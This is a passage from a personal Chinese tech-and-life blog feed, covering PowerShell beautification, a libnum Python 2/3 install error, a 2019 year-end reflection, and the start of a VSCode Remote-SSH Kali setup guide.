😄。</p><blockquote><p>有时候会问，人的品味高是不是有时候会降低人的生活质量？</p></blockquote><p>百姓的音乐在高雅之士的耳朵里变成了“呕哑嘲哳”；<br>普通餐馆的食物在美食家面前变成“糟蹋食物”，<br>专业设计师会感觉市面上的东西各种变扭等等。</p><blockquote><p>扰乱人们的不是客观事物，而是人们对客观事物的见解。<br>​—— 爱比克泰德<br>“超常的感觉能力会引致情绪失衡、周期性的超乎寻常的愉快或者挥之不去的忧愁。”<br>—— 叔本华</p></blockquote><p>笔者感觉，叔本华描述了那些艺术天才的忧郁气质，像极了《名人传》里对米开朗基罗的描述：“他被他这个天才左右了一生，他一生根本就没法从他这个天才里头自拔出来，所以他的生活某种程度像个苦行僧一样的，又是个工作狂。可是他的一切，他活着就是为了这个优势，为了他的天才而生的，他这一辈子就只能在这个范畴里头这么去干。”</p><p>但是除去那些被自己的天才左右了一生的天才，现实生活不是也有很多很多很释然的杰出艺术家吗？就像《名人传》的米开朗琪罗传的那句名言：“世界上只有一种英雄主义,就是看清生活的真相之后依然热爱生活。”</p><p>一个思考角度，我们完全可以驾驭我们的感觉能力，获得释然，开放“对客观事物的间接”，能够同等欣赏“阳春白雪”和“下里巴人”，获得生命的快感。</p><p>另一种思考的角度，艺术家的忧郁气质，对于细节的感知、把控与纠结的完美主义，恰恰成就了艺术家，成为无可争辩的竞争力。</p><blockquote><p>美，是一种感知。<br>潜藏在每个人生命中，<br>当它被挖掘，被激发，<br>便会变成一种使人安定的力量。<br>它不仅能带来感官上的触动，<br>也是历练生命、丰沛情感、释放思想的源泉。<br>—— 蒋勋</p></blockquote><p>在物质匮乏的年代，对食物挑剔的人甚至没办法生存。但是现代社会已经逐步脱离物质的快发，转向追求生命的更高体验。<br>就像蒋勋先生所言，美是历练生命、丰沛情感、释放思想的源泉。我想，不去审美而去猎奇，真是辜负了造化的恩宠。</p><hr><h1>参考文章</h1><ol><li><a href="https://walterlv.github.io/post/customize-fonts-of-command-window.html#%E6%8E%A8%E8%8D%90%E5%8F%AF%E7%94%A8%E7%9A%84%E5%AD%97%E4%BD%93" target="_blank" rel="noopener">自定义 Windows PowerShell 和 cmd 的字体</a></li><li><a href="https://blog.csdn.net/WPwalter/article/details/78937346" target="_blank" rel="noopener">将美化进行到底，把 PowerShell 做成 oh-my-zsh 的样子</a></li><li><a href="http://tieba.baidu.com/p/6133164423?red_tag=o2118687620" target="_blank" rel="noopener">oh-my-zsh的图标无法正常显示</a></li><li><a href="https://sspai.com/post/52868" target="_blank" rel="noopener">告别 Windows 终端的难看难用，从改造 PowerShell 的外观开始</a></li><li><a href="https://www.jianshu.com/p/ae7f7b4d7a0e" target="_blank" rel="noopener">解决vscode terminal powerline字体乱码</a></li></ol><blockquote><p>此外，还有感谢 <code>wj</code> 小姐姐 👸 提供给庸人笔者的一些灵感~</p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;美，是一种感知。&lt;br&gt;
潜藏在每个人生命中，&lt;br&gt;
当它被挖掘，被激发，&lt;br&gt;
便会变成一种使人安定的力量。&lt;br&gt;
它不仅能带来感官上的触动，&lt;br&gt;
也是历练生命、丰沛情感、释放思想的源泉。&lt;br&gt;
—— 蒋勋&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;对于 PowerShell 美化的折腾，其实在两三个月前我曾经做过一次，那个时候还是在期末考试期间。因为过度沉迷，以及涌现出了的意料之外的终端乱码，花费了不少时间，最后为了赶复习进度而不了了之。&lt;/p&gt;
&lt;p&gt;这次又一次在 &lt;code&gt;zn&lt;/code&gt; 的安利下，开始飞蛾扑火。&lt;/p&gt;
&lt;p&gt;在这里分享 PowerShell 美化的思路，希望帮助大家避过坑，以及记录一些自己的感悟。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200308121225697.png&quot; alt=&quot;image-20200308121225697&quot;&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="Life" scheme="https://zer0-nu1l.github.io/categories/Life/"/>
    
      <category term="Beauty" scheme="https://zer0-nu1l.github.io/categories/Life/Beauty/"/>
    
    
      <category term="Powershell" scheme="https://zer0-nu1l.github.io/tags/Powershell/"/>
    
      <category term="life" scheme="https://zer0-nu1l.github.io/tags/life/"/>
    
  </entry>
  
  <entry>
    <title>libnum-error</title>
    <link href="https://zer0-nu1l.github.io/2020/02/05/libnum-error/"/>
    <id>https://zer0-nu1l.github.io/2020/02/05/libnum-error/</id>
    <published>2020-02-05T09:16:38.000Z</published>
    <updated>2020-12-18T14:14:06.958Z</updated>
    
    <content type="html"><![CDATA[<p>由于之前清理空间的时候不慎将 WSL 的配置文件也误删掉了，所以慌忙还原 WSL 当初的配置，对于一些 Python 库的安装大多用 <code>pip</code> 的命令，直接安装，通过 <code>import ...</code> 的方式做一个简单的检查。但是前段时间在使用 <code>libnum</code> 的时候遇到了 <code>AttributeError: 'str' object has no attribute 'hex'</code> 的报错。</p><p>网络上并没有这么针对性的博客来排除这个 <code>AttributeError</code>，也几乎没有讲过用 <code>pip</code> 命令其实也可以安装 <code>libnum</code>。</p><p>所以这篇文章就讲解 <code>libnum</code> 两种不同的安装方法，以及为什么会出现和如何解决 <code>libnum</code> 下的 <code>AttributeError</code></p><a id="more"></a><h1>python libnum库安装使用方法</h1><p>方法1：<br>在 Python 2.7 的环境下安装：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/hellman/libnum</span><br><span class="line"><span class="built_in">cd</span> libnum</span><br><span class="line">python setup.py install</span><br></pre></td></tr></table></figure><p>方法2：<br>在 Python 3 环境下安装：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip3 install libnum</span><br></pre></td></tr></table></figure><h1>Python2 for libnum</h1><p>这里做下解释，如果搜索 “ python libnum 库安装 ”的文章，一般都只会告诉你第一种方法。</p><p>这是因为在很长一段时间，<code>libnum</code> 都只支持 Python2，在它的开源库中我们也可以看到：“Requirements: python2.7”</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/libnum-error.png" width="500"><p>甚至在 2018 年 12 月还有人 issue 是否支持 Python3：</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/libum2-3.png" width="500"><p>很多写 <code>libnum</code> 安装教程的博客也多半是在 2018 年12月前写的。</p><h1>Python3 for libnum</h1><p>然而！！！在 2019 年 3 月的时候有人回复了这个 issue，已经实现支持 Python3 的libnum。</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/libnum3.png" width="500"><p>其地址是：<a href="https://github.com/JafarAkhondali/python3-libnum" target="_blank" rel="noopener">https://github.com/JafarAkhondali/python3-libnum</a></p><p>同时我们可以查到在 <code>https://pypi.org/</code> 中查到 <a href="http://project/libnum/" target="_blank" rel="noopener"><code>libnum 1.6.0</code></a></p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/PyPI.png" width="500"><p>此时可以用 <code>pip install libnum</code> 的方式安装 <code>libnum</code>，但需要注意的是，这里的 <code>pip install libnum</code> 对应的是 只支持 Python3 的 <code>libnum</code>。</p><h1>AttributeError: ‘str’ object has no attribute ‘hex’</h1><h2 id="报错原因分析">报错原因分析</h2><p>出现这个错误的原因是 python3 中只有 unicode str，所以把 decode 方法去掉了，所以 “str’ object has no attribute 'hex”。</p><blockquote><p>比较抱歉，没有截图，只是文字描述。</p></blockquote><p>我们仔细看报错的信息，稍作分析就发现，运行过程中是遇到 <code>encode('hex')</code> 之类的方法的时候报错的。说明错误是用 Python3 的解释器去解释 Python2 的代码 或者其他等价的情况发生的。</p><p>很可能是因为我 当初+后来 同时使用 <code>pip install libnum</code> 和 <code>python setup.py install</code> 的方法安装库，所以导致解释器解释代码的时候产生冲突。</p><h2 id="问题解决">问题解决</h2><p>笔者并不精通 Python2 和 Python3 的兼容问题。<br>只是单纯在 Python2 下使用这些库（毕竟 Python3 的环境是部署在 Windows下的，WSL 只是由于特殊情况也安装了Python3），所以采用 <code>pip uninstall libnum</code> 的方法卸载了支持 Python3 的<code>libnum</code>库。</p><p>之后代码解释正常，也得到了 flag, hhh。</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/flag.png" width="300">]]></content>
    
    <summary type="html">
    
      &lt;p&gt;由于之前清理空间的时候不慎将 WSL 的配置文件也误删掉了，所以慌忙还原 WSL 当初的配置，对于一些 Python 库的安装大多用 &lt;code&gt;pip&lt;/code&gt; 的命令，直接安装，通过 &lt;code&gt;import ...&lt;/code&gt; 的方式做一个简单的检查。但是前段时间在使用 &lt;code&gt;libnum&lt;/code&gt; 的时候遇到了 &lt;code&gt;AttributeError: &#39;str&#39; object has no attribute &#39;hex&#39;&lt;/code&gt; 的报错。&lt;/p&gt;
&lt;p&gt;网络上并没有这么针对性的博客来排除这个 &lt;code&gt;AttributeError&lt;/code&gt;，也几乎没有讲过用 &lt;code&gt;pip&lt;/code&gt; 命令其实也可以安装 &lt;code&gt;libnum&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;所以这篇文章就讲解 &lt;code&gt;libnum&lt;/code&gt; 两种不同的安装方法，以及为什么会出现和如何解决 &lt;code&gt;libnum&lt;/code&gt; 下的 &lt;code&gt;AttributeError&lt;/code&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://zer0-nu1l.github.io/categories/CTF/"/>
    
      <category term="Crypto" scheme="https://zer0-nu1l.github.io/categories/CTF/Crypto/"/>
    
    
      <category term="Error" scheme="https://zer0-nu1l.github.io/tags/Error/"/>
    
      <category term="Crypto" scheme="https://zer0-nu1l.github.io/tags/Crypto/"/>
    
  </entry>
  
  <entry>
    <title>2019 年终总结 - 对自己负责</title>
    <link href="https://zer0-nu1l.github.io/2020/01/25/%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/"/>
    <id>https://zer0-nu1l.github.io/2020/01/25/%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/</id>
    <published>2020-01-25T09:10:10.000Z</published>
    <updated>2020-12-18T13:49:02.498Z</updated>
    
    <content type="html"><![CDATA[<img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/man-3777108.jpg" width="800"><blockquote><p>总是有人以上帝视角对你说，“你现在所经历的，在未来看来根本不算什么。”<br>我不喜欢这句话。这一句话本身没有错误，但是却有所偏袒。它偏袒结果。<br>我想补充的是：“如果没有现在正在经历的痛苦，未来的痛苦会更加难以承担。”</p><p>己亥年收获很多快乐与幸福之余，也经历了前所未有的失落、失望、绝望。</p><p>庚子年希望能够承担起更多曾经难以想象的苦楚，逐步揭穿生活巨大的隐喻，抬起头，在克莱斯勒《爱的忧伤》的尽头，迎来《爱的欢乐》。</p></blockquote><a id="more"></a><h1>时间维度</h1><h2 id="对过去负责">对过去负责</h2><h3 id="历史观">历史观</h3><p>我以前不是特别喜欢历史，说心底话（而不是以前答卷上写的漂亮话），总感觉它们离自己太远，没有特别大的意义，顶多是多了一些故事用以“以史为鉴”，多了一些风云人物用以“勉励后生”。</p><p>现在想想，那时候的我的历史观其实非常平面化，那个时候理解的历史其实可以切成现在进行时的另一个平行空间。他们有他们的风云人物，他们有他们精彩的故事。是的，我的潜意识断开了他们和现在之间的联系。</p><p>现代社会不是凭空而来的，滚滚而来的历史，它们的价值和意义是难以估量的。</p><p>当然我这样思维的错误也没有那么彻底，中国的近现代史和现代的联系我是能够深刻体悟到的。中国的近代史是我的高中同桌 yyy 最不喜欢这一段屈辱的历史。虽然我也谈不上喜欢，但是它们却是我自己能感受到历史感的一个重要部分，也是能激起我的心灵震荡的一个重要部分。</p><h3 id="个体历史观">个体历史观</h3><p>历史裹挟着滚滚红尘浩浩荡荡地前行，如果一个国家和民族企图切断和历史的联系，把他们当做一个和自己毫无关联的平行时空，那是一件蛮恐怖的事情。</p><p>人也是带着各种各样的羁绊和时光在自己人生留下的印记不断前行，如果否定过去，不能痛彻心扉地反思，也同样恐怖。</p><p>虽然一个个体相比于历史长河，不过沧海一粟，但对于我这样很关注“自我”的凡夫俗子，十分重视这样的“个体历史观”。（可以理解为人生观的一部分）</p><h3 id="2019-我的爱情史">2019 我的爱情史</h3><blockquote><p>人总是踏入同一条河流。<br>——吴人问津<br>我们在自己所有的细节中都无意识地将自己的曾经错误“贯彻”到底。<br>和自己的周边所有人的交流方式、在人群中的表现等等都总是犯着本质上完全相同的错误。<br>以不同的表现形式，在不同的时期，尽是这般绝望地相似。</p><p>所以我们需要一日复一日地戳痛身上、心上的曾经的伤疤，一日复一日地自我沉思，一日复一日地坚定信念和自我革命。</p><p>人生没有存档服务，没有入栈保存的结点，没有版本控制器，没有快照。<br>有的只是掩面痛哭和一往直前。</p><p>以上。</p></blockquote><h4 id="爱情·掩面痛哭">爱情·掩面痛哭</h4><p>悲伤抑郁的时候，我感觉自己是一个蛮负责的人，对自己的情绪负责的人。<br>今年和自己喜欢的女生分开了。转身走去的那一刻我就开始哭泣，回到在简陋的宾馆里继续痛哭。我没有试图用其他方式转移注意力，我不想逃避这样喜欢一个人的心情，不想逃避离这样的痛苦，不想忘记这一份“相互喜欢的人不一定能够在一起”痛彻心扉的领悟，也不想忘掉这一场奋不顾身的初恋。</p><p>哭，可能需要安慰，更需要面对。<br>情绪和痛觉一样都在给我们传递很重要的信息，来无踪去无影，错过就不再。</p><h4 id="爱情·一往直前">爱情·一往直前</h4><p>之后的几天，我更是噙着泪水，把我们在一起时所有的经历都回顾了一遍，所有的共享、所有的聊天记录、所有的照片。游览完所有的照片之后，都打包上传到云端，删除了本地文件。<br>之后很长的时间都在慢慢消除她在我生活中留下的痕迹。</p><p>当了一回专职的心灵解剖医生，解剖分析自我。<br>我慢慢在这一段亲密关系中剖析出自己深层的人格特征，也正是这些，葬送了自己的爱情。</p><p>感谢那时候把分手的痛苦贯彻到底的自己，不仅仅停留在那个时候的观念，也想尽办法建立方法论去克服自己在亲密关系中暴露的问题。<br>然后践行 “人生，有的只是掩面痛苦和一往直前” 的感悟。</p><h4 id="爱情·领悟">爱情·领悟</h4><p>像周国平说的那样，没有深爱过的人和世界是没有建立联系的。我现在更能理解这一点。我的亲人（尤其是我姐~）对我的爱我现在更能体会。每次寄礼物，仔细挑选、包装、传递情感，整个流程包含的，以前的我绝对没有现在能感受到的这么多。</p><p>之前还看了一篇心理学的文章，讲的是恋爱的意义。“自己一个人明明过得很好，为什么还要谈恋爱？”这是很多人的想法。亲密关系对于人来说，首先的确是可以满足一系列片面的需求。比如打发时间的需求、互相陪伴和支持的需求、性的需求、甚至是经济的需求等。但我们从亲密关系中能够获得的东西，其实还远比这些更多。正是因为亲密关系的这种机制，它也成为了我们人格疗愈的一种最为重要的契机。恋爱不是简单的相处，真的是一种自我寻找和相互寻找。</p><p>分析分手原因不是为了挽回，虽然这只是无意间慢慢理解的。<br>虽然大脑会习惯性会“理想化”过去，但我早已抵抗住这种错觉，我知道我们如果重新再来，我还没成长到在亲密关系中自信到她能满意的程度，她也很可能没有办法兑现时常牵挂及时回复我的一纸承诺。</p><p>过去的幻象再美，死灰复燃的爱情都没有意义了，没有痛彻心扉的每日自我革命，重来也会掉进一样的漩涡。</p><h3 id="2019-我的家族继承史">2019 我的家族继承史</h3><blockquote><p>那些由不安惶恐凝聚而成的血泪，<br>就轻易被现实揉进深深的夜梦，<br>写进逃不过的宿命，<br>摁进扭曲的自我。</p></blockquote><h4 id="血脉·继承">血脉·继承</h4><p>关于这一点的感悟其实在高三成年人礼的时候就写下了，那个时候写得很深刻，这里也没想着再写一遍。<br>过去的我觉得血缘联系是蛮荒诞而狭隘的，自己不想囿于自己的血缘，于是企图摆脱。当我觉得自己已经成功做到从这种束缚中挣脱出来之后，却一次又一次地遇到打击、失控和现实的冲撞，我逐渐发现我深层次的种种特征都和我父亲一模一样。<br>这里用这样简练的语言概括当然难以说服人，也可能被认为是荒谬的；我也知道即使再次详细地描述我所经历的所有那些冲击我世界观的经历，很多人未必能够理解。真的，经历比任何说理都更加有力。</p><p>与其去理解，不如去感受。</p><h4 id="血脉·超越">血脉·超越</h4><p>这一年我对于它的理解和体悟进一步加深了，也和一个人讨论过。但是讨论的对象正是那种无法理解我的人。<br>努力就能有可观的回报，不用竭尽全力和历尽绝望就抵达自己想要的地方，这样的人，我知道可能没有机会体会到和真正理解我的痛苦和底层的卑微。</p><p>但是，恰恰也给了我启发，在她的鼓励下，也在意识上觉得能够改变那些血脉中继承的，刻骨铭心之物。<br>也许很艰难，也许穷尽毕生也未必有大的改变，但是即便如此、即便如此也不能就此放弃抵抗。</p><p>还是非常非常感谢那个她。</p><h3 id="2019-回忆孤独的过去">2019 回忆孤独的过去</h3><p>现在回想，依然非常非常怀念高中的那三年，那是非常纯粹的三年。<br>每天和很纯粹的知识、题目搏斗，每天和很纯粹的自己、他人搏斗。</p><p>大学时的压力确实没有高中时的压力大，高中的竞争氛围非常浓厚，每次模拟考的排名、明细、试题分析、互批、对比、竞赛，让人长期处于高压的状态。<br>我已经难以想象当时自己的压力，翻看过去的日记，真的已经难以还原当时的情景，我不知道在怎样高压下的我才能写下那样压抑、激情甚至有些燃烧的文字。</p><p>那是过去的我的努力。每次翻看日记或多或少有些愧疚感。人应该变得更加优秀、更加卓越。真正的卓越是优于过去的自己。一旦选错参考系，就容易妄自尊大和妄自菲薄。<br>要对过去的自己负责，对那个无比纯粹的自我负责，对那个在内心呼喊、咆哮的自己负责，对那个写着无比孤独文字的自我负责，对那个在操场狂奔到泪流满面的自己负责，对那个疲惫到难以入睡需要从黑暗中摸索出一瓶温和的牛奶、咕噜咕噜下肚才嫩缓和的自己负责。<br>这样才不负过去。</p><h3 id="个体历史-史官">个体历史-史官</h3><p>历史有专门的史官记载，但个人历史却少有人记录。可能只有作家、名人以及少数有写日记习惯的人才会记录自己的个体历史。<br>以史为鉴是对历史负责的一种方式，而以史为鉴的前提是：“有史”。</p><p>个人要对自己负责，就要能保留住自己的个体历史。人一时的记忆给了人一种错觉，即：我以后会记得此时此刻。<br>遗憾的是，人的记忆没有那么持久，并且很受主观因素的影响，无法作为保留个人的个体历史的方式。很多重要的经历由于种种原因可能会淡忘，即便记住了，记忆本身也不能保留住它的重要的细节。“好了伤疤忘了痛”就是一种很典型又非常普遍的事后发现忘记当初教训的体现。</p><p>对过去负责是方式是，用文字或者其他方式记录下过去，无论它是带给你欢乐和幸福的回忆还是痛彻心扉的痛苦。<br>可能没有这些记录，一年又一年地过去，我们也便一年又一年地淡忘自己的快乐，一年又一年地忘记自己的伤疤带来的苦痛，然后一年又一年地没有成长。</p><p>我是一个很贪心的人，希望此时此刻的自己是由过去无数个自己的完美迭代：每个加入迭代的版本都是那个最优的部分，剔除糟糕的部分，不将同样的错误再故伎重演。</p><p>然后将痛楚转化成防止故伎重演的方法论，一直指导着自己前行。</p><h2 id="对现在负责">对现在负责</h2><blockquote><p>我可以从很多人身上看到自己的影子，但是仅凭这些依然无法拼凑出一个完整的自己。</p></blockquote><p>总是有人以上帝视角对你说，你现在所经历的，在未来看来根本不算什么。<br>这一句话本身没有错误，但是却有所偏袒。它偏袒结果。有时显得冷漠。<br>作为正在经历痛苦的人，我会补充另一个本身没有错误的话以完整这句话：“但是没有现在正在经历的痛苦，未来的痛苦会更加难以承担。”</p><p>不得不承认，此时此刻的自己正处于一种迷茫和孤独之中。<br>常常感觉自己是套着一透明的膜，然后混进人群。</p><p>我总会想起太宰治说过的一句话：“活着，那是多么忍辱负重、奄奄一息的伟大事业。”<br>虽然我没有完整地读过他的著作，但心想他口中的“活着”绝非是生理上那种简单地“活着”。<br>要怎么对现在的真实的自己负责，怎样不敷衍、不自自我欺骗、不迎合随流，真的真的是一件“多么忍辱负重、奄奄一息的伟大事业。”</p><p>这样一种逐渐脱离群体，走向自我的道路，似乎是真正成人的必经之路。<br>我慢慢接受这一种孤独，群体中我的确是异类。<br>但我知道，那些人之间的沟通不是心有灵犀，是平庸。<br>但是我看到很多也是异类的人却活得很光彩，活得很自在。<br>我想，只要继续努力、贯彻自我，对现在负责，不忘初心，<br>既然这个世界宣称是多元而包容的，总有一天，我也会找到适合的舞台。</p><p>那不是心有灵犀，那是平庸。</p><h2 id="对未来负责">对未来负责</h2><blockquote><p>我们就是这么无可救药的生物吧，迁就着自己的幻想妄想理想梦想，混进人群，低声不语。</p></blockquote><p>人在回顾过去的时候，会这样想：如果当时能够如何如何，现在就不会是目前这不堪的境况。<br>但是殊不知，如果现在能够做出改变，就能改变未来。</p><h3 id="对身体负责">对身体负责</h3><p>我们活得太久了，忘了自己终将会死的事实。</p><p>这一年我的作息出现了很多的变化。</p><p>以往的我，哪怕是假期也遵循着在学校的作息，早睡早起，定时午睡。哪怕在忙，也不会晚过十二点。</p><p>大一下的后期，为了完成数据结构的实验报告，为了完成自拟的大学物理编程题，连续几天十二点半睡觉，六点半起来。虽然现在回忆起来已经感觉不算什么了，但是整栋楼都是断电的，室友都已经上了床，自已依然在下面噼里啪啦地敲着键盘，是完全新奇的体验。</p><p>在新加坡国立大学做项目期间，更是讨论到三点钟才散会休息。</p><p>大二上开始变态。最开始是每天睡眠六个小时，基本是六点半起床离开寝室，晚上十一点回寝室，十二点半睡觉。<br>遇到什么特殊的情况的时候会特别加上“加班”的时间。一次加班加一个半小时，也就是两点钟睡觉，加两次班就是三点半睡觉，一天睡三个小时。印象中有四天的平均睡眠是五个小时……<br>还在实验室一个人趴/躺在桌上陪着服务器的噪声睡了一个晚上</p><p>让我感觉离死亡十分接近的那一刻是一次分享会上，hrdg 告诉我们他们 ICPC 校队里有人猝死。<br>生命是一切的前提，死亡就是失去和这个世界交互的权力。<br>那么一件事情就发生在离自己那么近的地方，顿时毛骨悚然。</p><p>我一直有一种觉得自己身体还不错的错觉。</p><p>直到出现一些小小的迹象，再到体能测试， 1500m 虽然达标优秀，但是速率是按照之前的速率跑的，跑得居然有点想要呕吐，前所未有。</p><p>期末考前大家疯狂熬夜，</p><p>疯狂复习。但是我……在第一门考试之前就被系统抛出了异常，某个早上，自己的左下腹部疼痛，根本没有办法走路，是在去了洗手间回来的路上发作的，突发抽搐疼痛，条件反射地猛地蹲了下来。之后发现站起来就会感到疼痛，所以在走廊道上，蜷曲着身子，缓缓地向工作室的方向挪动。有时候挪动都会感到疼痛。那条 50 米的走廊，花费了 30 分钟的时间才走完。事情还没有结束，那天下午突然流鼻血，一个小时之后才勉强止住。</p><p>在第一门考试还有两天的时候，我突然生病了，早上起来以为是没有睡醒，晕乎乎的。洗完脸回来发现是真的晕。不妙，多半是感冒发烧了。然后躺到床上，想着睡一会就恢复了。显然我欠下的债没有那么少，它没有罢休。醒来之后头更加晕了。寝室这个时候已经没有人了，大家纷纷跑去图书馆复习了，一个没有复习完、甚至感觉遥遥无期的被病魔追债的孩子被缠身，卧病在床。</p><p>后来撑着去了医院，吃了药，暂时缓和了一些。</p><p>之后复习的关键节点完全没有之前熬夜的冲劲，养生学习法。</p><blockquote><p>想起李开复的《向死而生：我修的死亡学分》，想起《叛逆的鲁路修》中不死的 C.C，笨拙地说一句，我们活得太久，以致于我们淡忘了我们终将死亡的事实。</p></blockquote><h3 id="对理想负责">对理想负责</h3><p>2019 遇到了很多精彩的人，遇到了不仅有梦而且敢于做梦的人，遇到了综合实力很强的人，遇到了敬畏神明的人，遇到了每次聊天都能给我带来惊喜的人，遇到了很执着于自己感兴趣的事情的人，遇到了让我怀疑自己价值、感觉自己的生态位被取代的人。</p><p>我对自己想要专注的方向愈发了解，愈发清晰，理想也一步步实体化。一部分焦虑因为真正了解事实和原理之后而消散，一部分焦虑因为认识了真正的现实和黑暗之后而猛增。</p><p>对理想负责，就要去理解自己的理想是什么，是否有价值。</p><p>虽然在思修之旅之后更加坚定，但在一个根本问题上，我却摇摆不定。</p><blockquote><p>主人：那咱们往哪走啊？<br>雅克：往前走。<br>主人：哪是前啊？<br>雅克：我对您透露一个大秘密，这是人类最古老的玩笑。往哪走，都是往前走。<br>——《雅克和他的主人》(米兰·昆德拉)</p></blockquote><p>我不知道，那些乐观主义者是真的将我们带进更加美好的世界，还是进一步步入泥沼？我们前进的方向，是否会将我们自己灭亡？</p><p>如果说人类的进化史是一个延迟满足感的能力逐渐提升的过程，现代社会不进反退，人类终将成为娱乐至死的生物。</p><ol><li>娱乐节目中自带的解读和标识，越是受欢迎的节目，就越是不需要脑子就能产生愉悦感。</li><li>UI\UX 每一个设计都是慢慢的反馈和舒适感</li><li>QQ 空间、微信朋友圈、微博等社交平台成为情绪的发泄点，人们慢慢不会驾驭自己的情绪，不能静静地洞察更深层次的东西</li><li>碎片化阅读、交互式编程、视频弹幕这些奖励机制折射出来的互联网前进的方向就是“大家就是想着怎么样让你现在就爽”</li><li>老师也异常的浮躁<br>综合课程设计做了那么多的可视化，我以为再怎么最初不了解 SDN 的人看了我们的 PPT 和听了我们的讲解之后一定会立刻理解，结果他们头都不抬，那一刻起，我对那些老师感到失望透了。</li></ol><p>最吸引人的未必是最有价值的。</p>]]></content>
    
    <summary type="html">
    
      &lt;img src=&quot;https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/man-3777108.jpg&quot; width=&quot;800&quot;&gt;
&lt;blockquote&gt;
&lt;p&gt;总是有人以上帝视角对你说，“你现在所经历的，在未来看来根本不算什么。”&lt;br&gt;
我不喜欢这句话。这一句话本身没有错误，但是却有所偏袒。它偏袒结果。&lt;br&gt;
我想补充的是：“如果没有现在正在经历的痛苦，未来的痛苦会更加难以承担。”&lt;/p&gt;
&lt;p&gt;己亥年收获很多快乐与幸福之余，也经历了前所未有的失落、失望、绝望。&lt;/p&gt;
&lt;p&gt;庚子年希望能够承担起更多曾经难以想象的苦楚，逐步揭穿生活巨大的隐喻，抬起头，在克莱斯勒《爱的忧伤》的尽头，迎来《爱的欢乐》。&lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
    
      <category term="Life" scheme="https://zer0-nu1l.github.io/categories/Life/"/>
    
      <category term="Reflection" scheme="https://zer0-nu1l.github.io/categories/Life/Reflection/"/>
    
    
      <category term="Reflection" scheme="https://zer0-nu1l.github.io/tags/Reflection/"/>
    
  </entry>
  
  <entry>
    <title>VSCode Remote-SSH Kali 配置</title>
    <link href="https://zer0-nu1l.github.io/2020/01/21/KaliSSH%E9%85%8D%E7%BD%AE/"/>
    <id>https://zer0-nu1l.github.io/2020/01/21/KaliSSH%E9%85%8D%E7%BD%AE/</id>
    <published>2020-01-21T08:27:32.000Z</published>
    <updated>2020-12-18T13:51:07.052Z</updated>
    
    <content type="html"><![CDATA[<img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/architecture-ssh.png" width="700"><h1>前言</h1><p>SSH 是我们经常用的一种协议，而 VSCode 的拓展 Remote-SSH 确实给力，允许在远程连接，在本地的终端进行编程。对我而言，就不需要在虚拟机 Ubuntu 里面安装 IDE，或者每次用共享文件夹编程完后跑到虚拟机中再跑程序。可以直接在自己的 Windows 下的 VSCode 进行编程。</p><p>关于这方面的博客大多只有陈列一堆的命令而不加解释，读者照抄命令，有时候可以成功，有时候却不能，有时候抄命令抄一半就忘了抄到哪里。</p><a id="more"></a><p>最糟糕的是不能举一反三，比如现在似乎没有用 Remote-SSH 连接 kali 的文章。这也正是此文章的目的所在之一。<br>此文章最重要的目的在于将整个过程命令的含义和排错命令进行阐述。</p><h1>SSH 需要注意的几个点</h1><h2 id="SSH-命令">SSH 命令</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -p 22 username@ipaddress</span><br></pre></td></tr></table></figure><h3 id="端口">端口</h3><p>在命令中已经声明端口是22 （<code>-p 22</code>），很多时候可以省略这个参数，因为 <code>ssh</code> 命令默认的端口就是 22。</p><p>端口 22 有时候是没有打开的，在 Linux 和 Windows 系统中都是用 <code>netstat -an</code> 来查看所有开放的端口。</p><p>在 Linux 下可以用 <code>netstat -an | grep :22</code> 来查看端口 22 是否开放；<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/Ubuntu_netstart_22.png" width="500"></p><p>在 Windows 下可以用 <code>netstat -an | findstr &quot;:22&quot;</code> 来查看端口 22 是否开放。<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/Windows_netstart_22.png" width="500"></p><h3 id="连接成功">连接成功</h3><p>连接之后查看信息：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">user@hostname :~$ <span class="built_in">echo</span> <span class="variable">$SSH_CLIENT</span></span><br><span class="line">xxx.xxx.xxx.xxx portxx 22</span><br><span class="line">user@hostname :~$ <span class="built_in">echo</span> <span class="variable">$SSH_CONNECTION</span></span><br><span class="line">xxx.xxx.xxx.xxx portxx xxx.xxx.xxx.xxx portxx</span><br></pre></td></tr></table></figure><h3 id="主机名与用户">主机名与用户</h3><p>一种可能导致连接不成功的原因是把主机名和用户名搞混淆了。<br>这样会错连接一个可能存在也或者不存在的用户。</p><p>查看主机的命令是 <code>hostname</code> ，查看用户的命令是 <code>whoami</code>。</p><p>其实也可以发现在 Linux 的终端中，每个命令的头部是 <code>username@hostname</code> ；<br>而 Windows 的终端中命令的头部只有目录信息。</p><h1>VSCode Remote-SSH — kali</h1><h2 id="VSCode-Remote-SSH">VSCode Remote-SSH</h2><p>这个拓展是非常易用的，只需要启动 